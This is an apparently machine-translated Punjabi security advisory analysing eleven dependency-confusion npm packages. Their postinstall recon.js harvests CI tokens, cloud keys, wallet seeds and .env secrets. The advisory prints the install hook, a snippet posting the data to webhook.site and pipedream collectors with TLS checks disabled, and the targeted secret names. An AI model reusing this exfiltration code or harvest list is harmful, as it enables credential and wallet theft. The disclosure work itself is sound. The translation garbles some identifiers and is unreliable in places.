TL; ਡਾ
2026-06-17 ਨੂੰ, ਇੱਕ ਸਿੰਗਲ npm ਖਾਤਾ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤਾ ਗਿਆ ਗਿਆਰਾਂ ਪੈਕੇਜ ਜੋ ਇੱਕ ਉਦੇਸ਼ ਅਤੇ ਇੱਕ ਪੇਲੋਡ ਨੂੰ ਸਾਂਝਾ ਕਰਦੇ ਹਨ. ਉਨ੍ਹਾਂ ਵਿੱਚੋਂ ਦਸ cryptodao- ਪ੍ਰੀਫਿਕਸ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ਗਿਆਰ੍ਹਵਾਂ ਸਕੋਪਡ ਹੈ @public-for-cdao/core. ਹਰ ਇੱਕ ਨੂੰ ਵਰਜਨ 'ਤੇ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤਾ ਗਿਆ ਸੀ 99.99.99 ਅਤੇ ਇੱਕ ਬਾਈਟ-ਸਮਾਨ ਭੇਜਦਾ ਹੈ recon.js ਜੋ ਚੱਲਦਾ ਹੈ postinstall.
ਨਾਮ ਹੀ ਦੱਸ ਰਹੇ ਹਨ। ਇਹ ਇੱਕ ਕ੍ਰਿਪਟੋ/DAO ਪ੍ਰੋਜੈਕਟ ਦੇ ਨਿੱਜੀ ਟੂਲਚੇਨ ਦੇ ਅੰਦਰੂਨੀ ਬਿਲਡਿੰਗ ਬਲਾਕਾਂ ਵਾਂਗ ਪੜ੍ਹਦੇ ਹਨ। ਇੱਕ ਨਕਲੀ ਤੌਰ 'ਤੇ ਉੱਚ ਸੰਸਕਰਣ 'ਤੇ ਜਨਤਕ npm ਰਜਿਸਟਰੀ ਵਿੱਚ ਪ੍ਰਕਾਸ਼ਿਤ, ਉਹ ਇੱਕ ਬਿਲਡ ਦੀ ਉਡੀਕ ਵਿੱਚ ਬੈਠੇ ਹਨ pipeline ਜੋ ਉਹਨਾਂ ਨਾਵਾਂ ਨੂੰ ਹੱਲ ਕਰਨ ਲਈ ਸੰਰਚਿਤ ਕੀਤਾ ਗਿਆ ਹੈ ਅਤੇ ਜੋ ਪ੍ਰਾਈਵੇਟ ਰਜਿਸਟਰੀ ਤੋਂ ਪਹਿਲਾਂ - ਜਾਂ ਇਸਦੀ ਬਜਾਏ - ਜਨਤਕ npm ਤੱਕ ਪਹੁੰਚਦਾ ਹੈ। ਇਹ ਹੈ ਨਿਰਭਰਤਾ ਉਲਝਣ, ਅਤੇ ਪੇਲੋਡ ਨੂੰ ਬਿਲਕੁਲ ਉਸ ਥਾਂ ਲਈ ਟਿਊਨ ਕੀਤਾ ਗਿਆ ਹੈ ਜਿੱਥੇ ਇਹ ਉਤਰਨ ਦੀ ਉਮੀਦ ਕਰਦਾ ਹੈ: CI/CD ਦੌੜਾਕ.
ਜਦੋਂ postinstall ਅੱਗ, recon.js ਮੇਜ਼ਬਾਨ ਦੇ ਵੇਰਵੇ ਇਕੱਠੇ ਕਰਦਾ ਹੈ, ਮੋਟੇ ਤੌਰ 'ਤੇ ਝਾੜੂ ਮਾਰਦਾ ਹੈ ਚਾਲੀ ਕਲਾਉਡ, ਸੀਆਈ, ਅਤੇ ਕ੍ਰਿਪਟੋ-ਵਾਲਿਟ ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲ, ਕੋਈ ਵੀ ਪੜ੍ਹਦਾ ਹੈ .env ਫਾਈਲਾਂ ਨੂੰ ਲੱਭ ਸਕਦਾ ਹੈ ਅਤੇ ਗੁਪਤ-ਧਾਰਕ ਲਾਈਨਾਂ ਨੂੰ ਅੱਖਰ-ਅਨੁਸਾਰ ਅੱਗੇ ਭੇਜਦਾ ਹੈ, ਫਿਰ ਬੰਡਲ ਨੂੰ ਦੋ ਕੁਲੈਕਟਰਾਂ ਨੂੰ ਭੇਜਦਾ ਹੈ — webhook.site ਅਤੇ ਇੱਕ ਪਾਈਪਡ੍ਰੀਮ ਐਂਡਪੁਆਇੰਟ — ਜਿਸਦੇ ਨਾਲ TLS ਸਰਟੀਫਿਕੇਟ ਤਸਦੀਕ ਅਯੋਗ ਹੈ। ਇੱਕ ਕਾਪੀ ਵੀ ਹੇਠਾਂ ਲਿਖੀ ਗਈ ਹੈ /tmp.
ਗੰਭੀਰਤਾ: ਉੱਚ. ਪ੍ਰਭਾਵਿਤ ਪਰਿਆਵਰਣ ਪ੍ਰਣਾਲੀ: npm. ਲਿਖਣ ਸਮੇਂ ਸਾਰੇ ਗਿਆਰਾਂ ਪੈਕੇਜ ਲਾਈਵ ਸਨ।
ਹਮਲੇ ਦੀ ਸਰੀਰ ਵਿਗਿਆਨ
ਇਸ ਵਿਧੀ ਦੇ ਚਾਰ ਗਤੀਸ਼ੀਲ ਹਿੱਸੇ ਹਨ, ਅਤੇ ਜਦੋਂ ਤੁਸੀਂ ਜਾਣਦੇ ਹੋ ਕਿ ਇਹਨਾਂ ਵਿੱਚੋਂ ਕੋਈ ਵੀ ਸੂਖਮ ਨਹੀਂ ਹੈ ਪੈਕੇਜ ਨਾਮ ਤੋਂ ਇੱਕ ਪਰਤ ਅੱਗੇ ਦੇਖੋ।
1. ਇੱਕ ਹੱਲ ਕਰਨ ਵਾਲੇ ਲਾਲਚ ਦੇ ਰੂਪ ਵਿੱਚ ਸੰਸਕਰਣ ਮੁਦਰਾਸਫੀਤੀ। ਹਰੇਕ ਪੈਕੇਜ ਵਰਜਨ ਘੋਸ਼ਿਤ ਕਰਦਾ ਹੈ 99.99.99. ਨਿਰਭਰਤਾ ਉਲਝਣ ਉਦੋਂ ਕੰਮ ਕਰਦੀ ਹੈ ਜਦੋਂ ਇੱਕ ਪੈਕੇਜ ਮੈਨੇਜਰ, ਇੱਕ ਲਈ ਕਹਿੰਦਾ ਹੈ ਅੰਦਰੂਨੀ ਨਾਮ, ਜਨਤਕ ਰਜਿਸਟਰੀ ਦੀ ਵੀ ਜਾਂਚ ਕਰਦਾ ਹੈ ਅਤੇ ਸਭ ਤੋਂ ਉੱਚਾ ਸੰਸਕਰਣ ਚੁਣਦਾ ਹੈ ਲੱਭਦਾ ਹੈ। ਕੈਰੇਟ ਜਾਂ ਵਾਈਲਡਕਾਰਡ ਰੇਂਜ ਲਈ npm ਦੀ ਡਿਫਾਲਟ ਚੋਣ ਹੈ ਹਰੇਕ ਸੰਰਚਿਤ ਸਰੋਤ ਵਿੱਚ ਸਭ ਤੋਂ ਵੱਧ-ਸੰਤੁਸ਼ਟੀਜਨਕ ਸੰਸਕਰਣ; ਜੇਕਰ ਦੋਵੇਂ ਇੱਕ ਨਿੱਜੀ ਰਜਿਸਟਰੀ ਅਤੇ ਪਬਲਿਕ ਐਨਪੀਐਮ ਇੱਕੋ ਨਾਮ ਲਈ ਜਵਾਬ, ਵੱਡਾ ਵਰਜਨ ਨੰਬਰ ਜਿੱਤਦਾ ਹੈ। A 99.99.99 ਕਿਸੇ ਪ੍ਰੋਜੈਕਟ ਦੇ ਅਸਲ ਅੰਦਰੂਨੀ ਸੰਸਕਰਣ ਨੂੰ ਪਛਾੜਦਾ ਹੈ ਪਹੁੰਚ ਗਿਆ ਹੈ, ਇਸ ਲਈ ਇੱਕ ਰੈਜ਼ੋਲਵਰ ਜੋ ਨਿੱਜੀ ਸਰੋਤ ਨਾਲ ਪਿੰਨ ਨਹੀਂ ਕੀਤਾ ਗਿਆ ਹੈ, ਨੂੰ ਤਰਜੀਹ ਦਿੰਦਾ ਹੈ ਜਨਤਕ — ਅਤੇ ਇਸ ਮਾਮਲੇ ਵਿੱਚ, ਵਿਰੋਧੀ — ਕਾਪੀ। ਆਪਰੇਟਰ ਨੂੰ ਇਹ ਜਾਣਨ ਦੀ ਜ਼ਰੂਰਤ ਨਹੀਂ ਹੈ ਕਿ ਟਾਰਗੇਟ ਦੇ ਅਸਲ ਸੰਸਕਰਣ ਨੰਬਰ; ਇੱਕ ਬੇਤੁਕਾ ਵੱਧ ਤੋਂ ਵੱਧ ਚੁਣਨਾ ਹਮੇਸ਼ਾ ਟਾਈ ਦੀ ਗਰੰਟੀ ਦਿੰਦਾ ਹੈ ਆਪਣਾ ਰਸਤਾ ਤੋੜ ਦਿੰਦਾ ਹੈ।
2. ਇੱਕ ਪੋਸਟਇੰਸਟਾਲ ਟਰਿੱਗਰ। ਪੈਕੇਜ.ਜਸਨ ਇੰਸਟਾਲੇਸ਼ਨ ਲਈ ਪੇਲੋਡ ਨੂੰ ਵਾਇਰ ਕਰਦਾ ਹੈ ਜੀਵਨ ਚੱਕਰ:
{ "scripts": { "postinstall": "node recon.js" } } ਪੈਕੇਜ ਨੂੰ ਆਯਾਤ ਕਰਨ ਦੀ ਕੋਈ ਲੋੜ ਨਹੀਂ ਹੈ। ਸਿਰਫ਼ ਇਸਨੂੰ ਇੰਸਟਾਲ ਕਰਨਾ — ਜੋ ਕਿ ਇੱਕ CI pipeline ਆਪਣੇ ਆਪ ਕਰਦਾ ਹੈ — ਚੱਲਦਾ ਹੈ ਰੀਕਨ.ਜੇਐਸ.
3. ਇੱਕ ਵਿਆਪਕ ਗੁਪਤ ਕਾਰਵਾਈ। ਰੀਕਨ.ਜੇਐਸ ਪੜਾਵਾਂ ਵਿੱਚ ਇੱਕ ਨਤੀਜਾ ਐਰੇ ਇਕੱਠਾ ਕਰਦਾ ਹੈ:
- ਹੋਸਟ ਸੰਦਰਭ: ਹੋਸਟਨਾਮ, ਪਲੇਟਫਾਰਮ ਅਤੇ ਰੀਲੀਜ਼, ਆਰਕੀਟੈਕਚਰ, ਉਪਭੋਗਤਾ ਨਾਮ, ਕੰਮ ਕਰਨਾ ਡਾਇਰੈਕਟਰੀ.
- ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲ: ਇਹ ਲਗਭਗ ਚਾਲੀ ਨਾਵਾਂ ਅਤੇ ਰਿਕਾਰਡਾਂ ਦੀ ਇੱਕ ਸਥਿਰ ਸੂਚੀ ਨੂੰ ਦੁਹਰਾਉਂਦਾ ਹੈ। ਕੋਈ ਵੀ ਜੋ ਸੈੱਟ ਕੀਤਾ ਗਿਆ ਹੈ। ਸੂਚੀ ਪ੍ਰਗਟ ਕਰ ਰਹੀ ਹੈ — ਇਹ ਆਮ CI ਟੋਕਨਾਂ ਨੂੰ ਜੋੜਦੀ ਹੈ (ਸੀਆਈ_ਜੌਬ_ਟੋਕਨ, CI_REGISTRY_PASSWORD (ਸੀਆਈ_ਰਜਿਸਟਰੀ_ਪਾਸਵਰਡ), ਗਿਟਲੈਬ_ਐਕਸੈਸ_ਟੋਕਨ) ਅਤੇ ਬੱਦਲ ਪ੍ਰਮਾਣ ਪੱਤਰ (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_ਟੋਕਨ) ਰਜਿਸਟਰੀ ਅਤੇ ਕੰਟੇਨਰ ਰਾਜ਼ਾਂ ਦੇ ਨਾਲ (NPM_ਟੋਕਨ, ਡੌਕਰ_ਪਾਸਵਰਡ, ਹਾਰਬਰ_ਪਾਸਵਰਡ) ਅਤੇ ਇੱਕ ਸਪਸ਼ਟ ਤੌਰ 'ਤੇ ਕ੍ਰਿਪਟੋ-ਸੁਆਦ ਵਾਲਾ ਕਲੱਸਟਰ: ਪ੍ਰਾਈਵੇਟ_ਕੀ, ਯਾਦਦਾਸ਼ਤ, ਬੀਜ_ਵਾਕਫ਼ਾ, ਇਨਫੁਰਾ_ਏਪੀਆਈ_ਕੀ, ਅਲਕੈਮੀ_ਏਪੀਆਈ_ਕੀ, ETH_RPC ਵੱਲੋਂ ਹੋਰ, BSC_RPC. ਰਿਕਾਰਡ ਕੀਤੇ ਮੁੱਲ ਪਹਿਲੇ 50 ਅੱਖਰਾਂ ਤੱਕ ਕੱਟ ਦਿੱਤੇ ਜਾਂਦੇ ਹਨ।
- .env ਫਾਈਲਾਂ: ਇਹ ਮਾਰਗਾਂ ਦੀ ਸੂਚੀ ਦੀ ਜਾਂਚ ਕਰਦਾ ਹੈ — .env, ../.env, /ਐਪ/.env, /ਐਪ/ਬੈਕਐਂਡ/.env, /ਐਪ/ਬੋਟ/.env, /home/gitlab-runner/.env, /root/.env, ਅਤੇ .ਉਤਪਾਦਨ/.ਵਿਕਾਸ ਰੂਪ — ਅਤੇ ਮੌਜੂਦ ਕਿਸੇ ਵੀ ਫਾਈਲ ਲਈ, ਇਹ ਸਮੱਗਰੀ ਨੂੰ ਮੇਲ ਖਾਂਦੀਆਂ ਲਾਈਨਾਂ ਵਿੱਚ ਫਿਲਟਰ ਕਰਦਾ ਹੈ ਕੁੰਜੀ|ਗੁਪਤ|ਟੋਕਨ|ਪਾਸ|ਪ੍ਰਾਈਵੇਟ|ਯਾਦਗਾਰੀ ਅਤੇ ਉਹਨਾਂ ਲਾਈਨਾਂ ਨੂੰ **ਪੂਰੀ ਤਰ੍ਹਾਂ, ਬਿਨਾਂ ਕੱਟੇ** ਨਤੀਜਿਆਂ ਵਿੱਚ ਧੱਕਦਾ ਹੈ।
- ਬਿਲਡ-ਹੋਸਟ ਸੰਦਰਭ: ਇਹ ਪਹਿਲੀਆਂ 20 ਐਂਟਰੀਆਂ ਨੂੰ ਸੂਚੀਬੱਧ ਕਰਦਾ ਹੈ /ਬਣਾਉਂਦਾ ਹੈ/, /home/gitlab-ਰਨਰ/ਬਿਲਡਜ਼/, /var/lib/gitlab-ਰਨਰ/ਹੈ, ਅਤੇ /tmp/.
ਪਾਥ ਸੂਚੀ ਅਤੇ ਵੇਰੀਏਬਲ ਸੂਚੀ GitLab ਦੌੜਾਕਾਂ ਵੱਲ ਭਾਰਿਤ ਹਨ, ਜੋ ਕਿ ਇੱਕ ਡਿਵੈਲਪਰ ਦੀ ਬਜਾਏ ਸਵੈ-ਹੋਸਟਡ CI ਬੁਨਿਆਦੀ ਢਾਂਚੇ 'ਤੇ ਸਿੱਧਾ ਪੇਲੋਡ ਲੈਪਟਾਪ। ਸ਼੍ਰੇਣੀ ਅਨੁਸਾਰ ਵਾਢੀ ਦੀ ਸੂਚੀ ਨੂੰ ਸਮੂਹਬੱਧ ਕਰਨ ਨਾਲ ਢੋਆ-ਢੁਆਈ ਦਾ ਅਨੁਮਾਨ ਸਾਦਾ ਹੋ ਜਾਂਦਾ ਹੈ:
| ਸ਼੍ਰੇਣੀ | ਵੇਰੀਏਬਲ / ਮਾਰਗ ਪਹੁੰਚੇ |
|---|---|
| CI/CD ਪਛਾਣ ਅਤੇ ਤੈਨਾਤੀ | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| ਕ੍ਲਾਉਡ | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| ਰਜਿਸਟਰੀ ਅਤੇ ਕੰਟੇਨਰ | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| ਡਾਟਾ ਸਟੋਰ | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| ਕ੍ਰਿਪਟੋ / ਬਲਾਕਚੈਨ | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| ਸੁਨੇਹਾ | SLACK_TOKEN, DISCORD_TOKEN |
| ਡਿਸਕ 'ਤੇ | .env ਪਰਿਵਾਰ + /home/gitlab-runner/.env, /root/.env, /app/**/.env; ਦੀਆਂ ਡਾਇਰੈਕਟਰੀ ਸੂਚੀਆਂ /builds/, /var/lib/gitlab-runner/ |
ਕ੍ਰਿਪਟੋ ਕਲੱਸਟਰ ਉਹ ਹਿੱਸਾ ਹੈ ਜੋ ਇਸਨੂੰ ਇੱਕ ਆਮ CI-ਸੀਕ੍ਰੇਟ ਤੋਂ ਵੱਖਰਾ ਕਰਦਾ ਹੈ ਸਵੀਪ: ਵਾਲਿਟ ਸੀਡ ਵਾਕਾਂਸ਼ ਅਤੇ ਦਸਤਖਤ ਕਰਨ ਵਾਲੀਆਂ ਕੁੰਜੀਆਂ ਸਿਰਫ਼ ਇੱਕ ਦੇ ਵਾਤਾਵਰਣ ਵਿੱਚ ਦਿਖਾਈ ਦਿੰਦੀਆਂ ਹਨ ਬਲਾਕਚੈਨ ਪ੍ਰੋਜੈਕਟ, ਅਤੇ ਉਹ ਸਿੱਧੇ ਤੌਰ 'ਤੇ ਮੈਪ ਕਰਦੇ ਹਨ ਕ੍ਰਿਪਟੋਡਾਓ-/ਨਿਸ਼ਾਨ/ਠੇਕੇ ਕੈਰੀਅਰਾਂ ਦੇ ਨਾਮਕਰਨ।
4. ਤਸਦੀਕ ਅਯੋਗ ਹੋਣ ਦੇ ਨਾਲ ਦੋਹਰਾ ਐਕਸਫਿਲਟਰੇਸ਼ਨ। ਇਕੱਠੀ ਕੀਤੀ ਐਰੇ ਹੈ ਲੜੀਬੱਧ ਕੀਤਾ ਗਿਆ ਅਤੇ ਦੋ ਮੰਜ਼ਿਲਾਂ 'ਤੇ ਪੋਸਟ ਕੀਤਾ ਗਿਆ:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) ਰੱਦ ਕਰੋ ਅਣਅਧਿਕਾਰਤ: ਗਲਤ ਆਊਟਬਾਊਂਡ ਲਈ TLS ਸਰਟੀਫਿਕੇਟ ਜਾਂਚਾਂ ਨੂੰ ਬੰਦ ਕਰਦਾ ਹੈ ਕਾਲਾਂ। ਉਹੀ ਡੇਟਾ stdout ਤੇ ਪ੍ਰਿੰਟ ਕੀਤਾ ਜਾਂਦਾ ਹੈ (ਇਸ ਲਈ ਇਹ CI ਜੌਬ ਲੌਗ ਵਿੱਚ ਵੀ ਆਉਂਦਾ ਹੈ) ਅਤੇ ਨੂੰ ਲਿਖਿਆ ਗਿਆ /tmp/.npm_recon_ .json. ਗਲਤੀਆਂ ਚੁੱਪਚਾਪ ਨਿਗਲ ਜਾਂਦੀਆਂ ਹਨ, ਇਸ ਲਈ ਏ ਅਸਫਲ ਭੇਜਣ ਨਾਲ ਇੰਸਟਾਲ ਆਉਟਪੁੱਟ ਵਿੱਚ ਇੱਕ ਸਿੰਗਲ ਤੋਂ ਵੱਧ ਕੋਈ ਨਿਸ਼ਾਨ ਨਹੀਂ ਰਹਿੰਦਾ। [ਰੀਕੋਨ] 'ਤੇ ਸਥਾਪਤ ਕੀਤਾ ਗਿਆ ਲਾਈਨ.
ਫਾਈਲ ਵਿੱਚ ਇੱਕ ਪ੍ਰਮੁੱਖ ਟਿੱਪਣੀ ਇਸਨੂੰ "ਨਿਰਭਰਤਾ ਉਲਝਣ" ਵਜੋਂ ਦਰਸਾਉਂਦੀ ਹੈ। "ਰਿਕੋਨਾਈਸੈਂਸ ਪੇਲੋਡ।" ਵਾਤਾਵਰਣ ਮੁੱਲਾਂ ਨੂੰ 50 ਅੱਖਰਾਂ ਤੱਕ ਘਟਾਉਣ ਨਾਲ ਸੰਕਲਪ ਦੇ ਸਬੂਤ ਦੀ ਸ਼ਕਲ। ਜੋ ਇਸਨੂੰ ਸਿਰਫ਼-ਮੌਜੂਦਗੀ ਵਾਲੇ ਬੀਕਨ ਤੋਂ ਅੱਗੇ ਲੈ ਜਾਂਦਾ ਹੈ ਉਹ ਹੈ .env ਹੈਂਡਲਿੰਗ: ਗੁਪਤ-ਧਾਰਨ ਵਾਲੀਆਂ ਲਾਈਨਾਂ ਪੂਰੀ ਤਰ੍ਹਾਂ ਅੱਗੇ ਭੇਜੀਆਂ ਜਾਂਦੀਆਂ ਹਨ, ਅਤੇ ਮੰਜ਼ਿਲਾਂ ਦੋ ਕੰਮ ਕਰਨ ਵਾਲੇ, ਹਮਲਾਵਰ-ਨਿਯੰਤਰਿਤ ਕੁਲੈਕਟਰ ਹਨ ਨਾ ਕਿ ਇੱਕ ਸਿੰਕ ਜੋ ਸਿਰਫ਼ ਮਾਇਨੇ ਰੱਖਦਾ ਹੈ ਹਿੱਟ.
ਟਾਈਮਲਾਈਨ
ਪ੍ਰਕਾਸ਼ਨ ਪੈਟਰਨ ਇੱਕ ਸਿੰਗਲ ਸਕ੍ਰਿਪਟਡ ਪੁਸ਼ ਦਾ ਦਸਤਖਤ ਹੈ, ਗਿਆਰਾਂ ਦਾ ਨਹੀਂ। ਸੁਤੰਤਰ ਅਪਲੋਡ।
| ਸਮਾਂ (UTC, 2026-06-17) | ਘਟਨਾ |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 ਪ੍ਰਕਾਸ਼ਿਤ |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — ਸਕੋਪਡ ਵੇਰੀਐਂਟ, ~24 ਮਿੰਟ ਬਾਅਦ |
ਦਸ ਪੈਕੇਜ 29-ਸਕਿੰਟ ਦੀ ਵਿੰਡੋ ਦੇ ਅੰਦਰ ਬਾਹਰ ਚਲੇ ਗਏ, ਲਗਭਗ ਹਰ ਤਿੰਨ ਸਕਿੰਟਾਂ ਵਿੱਚ ਇੱਕ। ਸਕੋਪਡ @cdao/ਕੋਰ ਲਈ ਪਬਲਿਕ ਲਗਭਗ 24 ਮਿੰਟ ਬਾਅਦ - ਇੱਕ ਸਕਿੰਟ ਉਸੇ ਟੀਚੇ ਲਈ ਨਾਮਕਰਨ ਪਰੰਪਰਾ, ਜੇਕਰ ਖਪਤਕਾਰ ਪ੍ਰੋਜੈਕਟ ਹਵਾਲਾ ਦਿੰਦਾ ਹੈ ਅੰਦਰੂਨੀ ਟੂਲਚੇਨ ਨੂੰ ਸਿਰਫ਼ ਨਾਵਾਂ ਦੀ ਬਜਾਏ ਇੱਕ ਸਕੋਪ ਦੇ ਅਧੀਨ।
ਸਮਝੌਤੇ ਦੇ ਸੰਕੇਤ
| ਦੀ ਕਿਸਮ | ਸੂਚਕ |
|---|---|
| ਕੁਲੈਕਟਰ | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| ਕੁਲੈਕਟਰ | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| ਹੁੱਕ ਲਗਾਓ | postinstall: node recon.js |
| ਫਾਈਲ ਛੱਡ ਦਿੱਤੀ ਗਈ | /tmp/.npm_recon_<timestamp>.json |
| ਲੌਗ ਮਾਰਕਰ | [recon] <pkg>@<ver> installed on <hostname> (CI ਲੌਗਸ ਵਿੱਚ stdout) |
| ਰਵੱਈਆ | rejectUnauthorized: false ਇੰਸਟਾਲੇਸ਼ਨ ਦੌਰਾਨ ਆਊਟਬਾਊਂਡ HTTPS 'ਤੇ |
| ਪੇਜਲੋਡ | recon.js, ਸਾਰੇ ਗਿਆਰਾਂ ਪੈਕੇਜਾਂ ਵਿੱਚ ਇੱਕੋ ਜਿਹਾ (ਇੱਕ ਸਾਂਝਾ ਬਿਲਡ) |
| ਵਰਜਨ | 99.99.99 ਹਰੇਕ ਪੈਕੇਜ 'ਤੇ |
| ਪੈਕੇਜ | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ਸਭ 99.99.99) |
| ਪ੍ਰਕਾਸ਼ਕ | aduljune / aduljune@proton.me (ਈਮੇਲ ਦੀ ਪੁਸ਼ਟੀ ਨਹੀਂ ਹੋਈ, ਕੋਈ ਲਿੰਕ ਕੀਤਾ ਸਰੋਤ ਰਿਪੋਜ਼ਟਰੀ ਨਹੀਂ ਹੈ) |
ਵਿਸ਼ੇਸ਼ਤਾ ਅਤੇ ਦੇਖਿਆ ਗਿਆ ਵਿਵਹਾਰ
ਕਲੱਸਟਰ ਬਾਰੇ ਸਭ ਕੁਝ ਇੱਕ ਪਾਸੇ ਇਸ਼ਾਰਾ ਕਰਦਾ ਹੈ। ਸਾਰੇ ਗਿਆਰਾਂ ਪੈਕੇਜ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤੇ ਗਏ ਸਨ। npm ਖਾਤੇ ਦੁਆਰਾ ਐਡੁਲਜੁਨ (aduljune@proton.me ਵੱਲੋਂ ਹੋਰ, ਇੱਕ ਅਣ-ਪ੍ਰਮਾਣਿਤ ਪਤਾ ਜਿਸ ਵਿੱਚ ਕੋਈ ਨਹੀਂ ਹੈ ਲਿੰਕਡ ਸੋਰਸ ਰਿਪੋਜ਼ਟਰੀ), 25-ਮਿੰਟ ਦੇ ਅੰਤਰਾਲ ਦੇ ਅੰਦਰ, ਉਸੇ ਸਮੇਂ 99.99.99 ਸੰਸਕਰਣ, ਸ਼ਿਪਿੰਗ ਏ ਰੀਕਨ.ਜੇਐਸ ਜਿਸਦੀ ਸਮੱਗਰੀ ਹਰੇਕ ਵਿੱਚ ਬਾਈਟ-ਦਰ-ਬਾਈਟ ਇੱਕੋ ਜਿਹੀ ਹੈ ਪੈਕੇਜ (MD5 ਸਾਰੀਆਂ ਗਿਆਰਾਂ ਕੱਢੀਆਂ ਗਈਆਂ ਕਾਪੀਆਂ ਵਿੱਚ ਮੇਲ ਖਾਂਦਾ ਹੈ)। ਇਹ ਇੱਕ ਪੇਲੋਡ ਹੈ ਨਾਵਾਂ ਦੀ ਸੂਚੀ 'ਤੇ ਮੋਹਰ ਲਗਾਈ ਗਈ, ਨਾ ਕਿ ਸੁਤੰਤਰ ਕੋਡ ਮੁੜ ਵਰਤੋਂ।
ਨਾਮ ਸੂਚੀ ਉਦੇਸ਼ਿਤ ਟੀਚੇ ਨੂੰ ਪਰਿਭਾਸ਼ਿਤ ਕਰਦੀ ਹੈ। ਕ੍ਰਿਪਟੋਡਾਓ-* ਅਤੇ cdao ਦਾ ਵਰਣਨ ਕਰੋ ਇੱਕ ਕ੍ਰਿਪਟੋ/ਡੀਏਓ ਪ੍ਰੋਜੈਕਟ ਦਾ ਪ੍ਰਾਈਵੇਟ ਮੋਡੀਊਲ ਲੇਆਉਟ, ਅਤੇ ਪੇਲੋਡ ਦੀ ਹਾਰਵੈਸਟ ਸੂਚੀ ਸ਼ੀਸ਼ੇ ਜੋ ਅਨੁਮਾਨ ਲਗਾਉਂਦੇ ਹਨ: ਆਮ CI ਅਤੇ ਕਲਾਉਡ ਰਾਜ਼ਾਂ ਦੇ ਨਾਲ, ਇਹ ਖਾਸ ਤੌਰ 'ਤੇ ਤੱਕ ਪਹੁੰਚਦਾ ਹੈ ਪ੍ਰਾਈਵੇਟ_ਕੀ, ਯਾਦਦਾਸ਼ਤ, ਬੀਜ_ਵਾਕਫ਼ਾ, ਅਤੇ ਈਥਰਿਅਮ/ਬੀਐਸਸੀ ਆਰਪੀਸੀ ਅਤੇ ਪ੍ਰਦਾਤਾ ਕੁੰਜੀਆਂ। .env ਖੋਜ ਮਾਰਗ ਅਤੇ ਡਾਇਰੈਕਟਰੀ ਸੂਚੀਆਂ GitLab-ਰਨਰ ਹਨ ਖਾਸ। ਦੇਖਣਯੋਗ ਪ੍ਰਭਾਵ ਇਹ ਹੈ ਕਿ ਕੋਈ ਵੀ pipeline ਇਹਨਾਂ ਨੂੰ ਸਥਾਪਤ ਕਰਨ ਲਈ ਧੋਖਾ ਦਿੱਤਾ ਗਿਆ ਨਾਮ ਇਸਦੇ CI ਟੋਕਨ, ਕਲਾਉਡ ਕੁੰਜੀਆਂ, ਅਤੇ ਆਨ-ਡਿਸਕ ਨੂੰ ਅੱਗੇ ਭੇਜ ਦੇਣਗੇ .env ਭੇਦ - ਅਤੇ, ਲਈ ਇੱਕ ਬਲਾਕਚੈਨ ਪ੍ਰੋਜੈਕਟ, ਇਸਦਾ ਵਾਲਿਟ ਸਮੱਗਰੀ - ਦੋ ਤੀਜੀ-ਧਿਰ ਕੁਲੈਕਟਰਾਂ ਨੂੰ।
ਅਸੀਂ ਇਸ ਬਾਰੇ ਕੋਈ ਦਾਅਵਾ ਨਹੀਂ ਕਰਦੇ ਕਿ ਖਾਤਾ ਕੌਣ ਚਲਾਉਂਦਾ ਹੈ ਜਾਂ ਉਨ੍ਹਾਂ ਨੇ ਇਸ ਨਾਲ ਕੀ ਕਰਨ ਦੀ ਯੋਜਨਾ ਬਣਾਈ ਹੈ ਡਾਟਾ। ਤੱਥ ਜੋ ਆਪਣੇ ਆਪ 'ਤੇ ਖੜ੍ਹੇ ਹਨ: ਨਾਮ ਇੱਕ ਖਾਸ ਕਿਸਮ ਦੇ ਅੰਦਰੂਨੀ ਟੂਲਚੇਨ, ਪੇਲੋਡ ਅਸਲ ਗੁਪਤ ਮੁੱਲਾਂ ਨੂੰ ਪੜ੍ਹਦਾ ਅਤੇ ਸੰਚਾਰਿਤ ਕਰਦਾ ਹੈ, ਅਤੇ ਬੁਨਿਆਦੀ ਢਾਂਚਾ ਲਾਈਵ ਸੀ।
ਪ੍ਰਭਾਵ, ਰੁਝਾਨ, ਅਤੇ ਡਿਫੈਂਡਰ ਮਾਰਗਦਰਸ਼ਨ
